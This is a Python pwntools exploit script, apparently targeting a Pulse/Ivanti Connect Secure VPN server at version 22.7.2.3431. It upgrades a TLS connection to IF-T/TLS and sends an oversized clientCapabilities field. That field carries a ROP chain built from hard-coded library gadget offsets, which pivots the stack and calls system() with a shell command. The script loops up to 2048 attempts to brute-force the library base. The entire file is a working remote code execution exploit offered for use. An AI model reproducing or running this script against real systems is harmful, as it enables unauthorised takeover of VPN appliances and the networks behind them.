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| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import requests
import urllib3
import re
import time
import ssl
urllib3.disable_warnings()
context(os='linux', arch='i386', endian='little')
context.log_level = 'debug' if args.DEBUG else 'info'
HOST = '192.168.126.130'
PORT = int(args.PORT or 443)
COUNT = int(args.COUNT or 2048)
VENDOR_TCG = 0x00005597
VENDOR_JUNIPER = 0x00000a4c
IFT_VERSION_REQUEST = 0x00000001 #VERSION_REQUEST
IFT_EXPLOIT_TYPE = 0x00000088 #进入 clientCapabilities 解析路径的消息类型
pie_base=0x56653000
#0x56734194 0x0e5194
targets = {
'22.7.2.3431': {
'padding_to_vftable': 2288,
'vftable_gadget_offset': 0x00934365 + 2,
'padding_to_next_frame': 2934,
'offset_to_got_plt': 0x00157c000,
'gadget_inc_ebx_ret': 0x00032233,
'gadget_mov_eax_esp_retn_c': 0x00ca2e84,
'gadget_add_eax_8_ret': 0x007a040c,
'gadget_mov_esp_eax_call_system': 0x004f0df3,
'libdsplibs_base': 0xf644c000,
}
}
def lg(name, value):
log.info(f'{name:<28}: {hex(value) if isinstance(value, int) else value}')
def get_version():
return '22.7.2.3431'
def start():
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# 强制 TLS 1.2
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
ctx.maximum_version = ssl.TLSVersion.TLSv1_2
return remote(
HOST,
PORT,
ssl=True,
ssl_context=ctx,
sni=False,
timeout=3000
)
def upgrade_to_ift_tls(io):
req = (
f'GET / HTTP/1.1\r\n'
f'Host: {HOST}:{PORT}\r\n'
f'User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n'
f'Content-Type: EAP\r\n'
f'Upgrade: IF-T/TLS 1.0\r\n'
f'Content-Length: 0\r\n'
f'\r\n'
).encode()
io.send(req)
res = io.recv(4096, timeout=3000)
log.info('upgrade response:')
print(hexdump(res))
if b'101 Switching Protocols' not in res:
log.failure('IF-T/TLS upgrade failed')
return False
log.success('IF-T/TLS upgrade success')
return True
def ift_packet(vendor, msg_type, seq_id, body):
header = flat(
[
vendor,
msg_type,
len(body) + 0x10,
seq_id,
],
word_size=32,
endianness='big',
sign=False
)
return header + body
def version_packet():
body = flat(
[
0x00,
0x01,
0x02,
0x02,
],
word_size=8
)
return ift_packet(
vendor=VENDOR_TCG,
msg_type=IFT_VERSION_REQUEST,
seq_id=0,
body=body
)
def build_cmd():
cmd = 'id>/tmp/pwned'
cmd = cmd.replace(' ', '${IFS}')
log.info(f'cmd: {cmd}')
return cmd.encode() + b'\x00'
def build_rop(t):
base = int(args.BASE, 16) if args.BASE else t['libdsplibs_base']
lg('libdsplibs_base', base)
lg('vftable gadget', base + t['vftable_gadget_offset'])
lg('got plt - 1', base + t['offset_to_got_plt'] - 1)
lg('inc ebx; ret', base + t['gadget_inc_ebx_ret'])
lg('mov eax, esp; retn c', base + t['gadget_mov_eax_esp_retn_c'])
lg('add eax, 8; ret', base + t['gadget_add_eax_8_ret'])
lg('mov esp, eax; call system', base + t['gadget_mov_esp_eax_call_system'])
payload = b'C' * t['padding_to_vftable']
payload += p32(base + t['vftable_gadget_offset'])
payload += b'A' * t['padding_to_next_frame']
payload += p32(base + t['offset_to_got_plt'] - 1)
# payload+=b"a"*4
payload += p32(0xCAFEBEEF) * 3
payload += p32(base + t['gadget_inc_ebx_ret'])
payload += p32(base + t['gadget_mov_eax_esp_retn_c'])
payload += p32(base + t['gadget_add_eax_8_ret'])
payload += p32(0xCAFEBEEF) * 3
payload += p32(base + t['gadget_add_eax_8_ret']) * 4
payload += p32(base + t['gadget_mov_esp_eax_call_system'])
payload += p32(0xCAFEBEEF)
return payload
def build_payload(t):
rop = build_rop(t)
cmd = build_cmd()
payload = (
b'clientHostName=abcdefgh '
b'clientIp=127.0.0.1 '
b'clientCapabilities=' +
rop +
cmd +
b'\n\x00'
)
log.info(f'raw payload length: {len(payload)}')
if args.SAVE:
open(args.SAVE, 'wb').write(payload)
log.success(f'payload saved to {args.SAVE}')
return payload
def exploit_packet(t):
body = build_payload(t)
pkt = ift_packet(
vendor=VENDOR_JUNIPER,
msg_type=IFT_EXPLOIT_TYPE,
seq_id=1,
body=body
)
log.info(f'exploit packet length: {len(pkt)}')
return pkt
def attack_once(t, idx):
io = None
try:
log.info(f'attack attempt #{idx}')
io = start()
if not upgrade_to_ift_tls(io):
io.close()
return False
pkt1 = version_packet()
pkt2 = exploit_packet(t)
io.send(pkt1)
time.sleep(0.1)
io.send(pkt2)
time.sleep(1)
io.close()
return True
except EOFError:
log.warning('EOF')
except Exception as e:
log.warning(f'error: {e}')
finally:
if io:
try:
io.close()
except Exception:
pass
return False
def choose_target():
if args.VERSION:
version = args.VERSION
log.info(f'use version from args: {version}')
else:
version = get_version()
if not version:
log.failure('failed to detect product version')
exit(1)
log.success(f'detected version: {version}')
if version not in targets:
log.failure(f'no target config for version: {version}')
log.info(f'available versions: {list(targets.keys())}')
exit(1)
return targets[version]
def pwn():
log.info(f'target: {HOST}:{PORT}')
t = choose_target()
if args.ONCE:
attack_once(t, 1)
return
for i in range(1, COUNT + 1):
attack_once(t, i)
if __name__ == '__main__':
pwn()
|
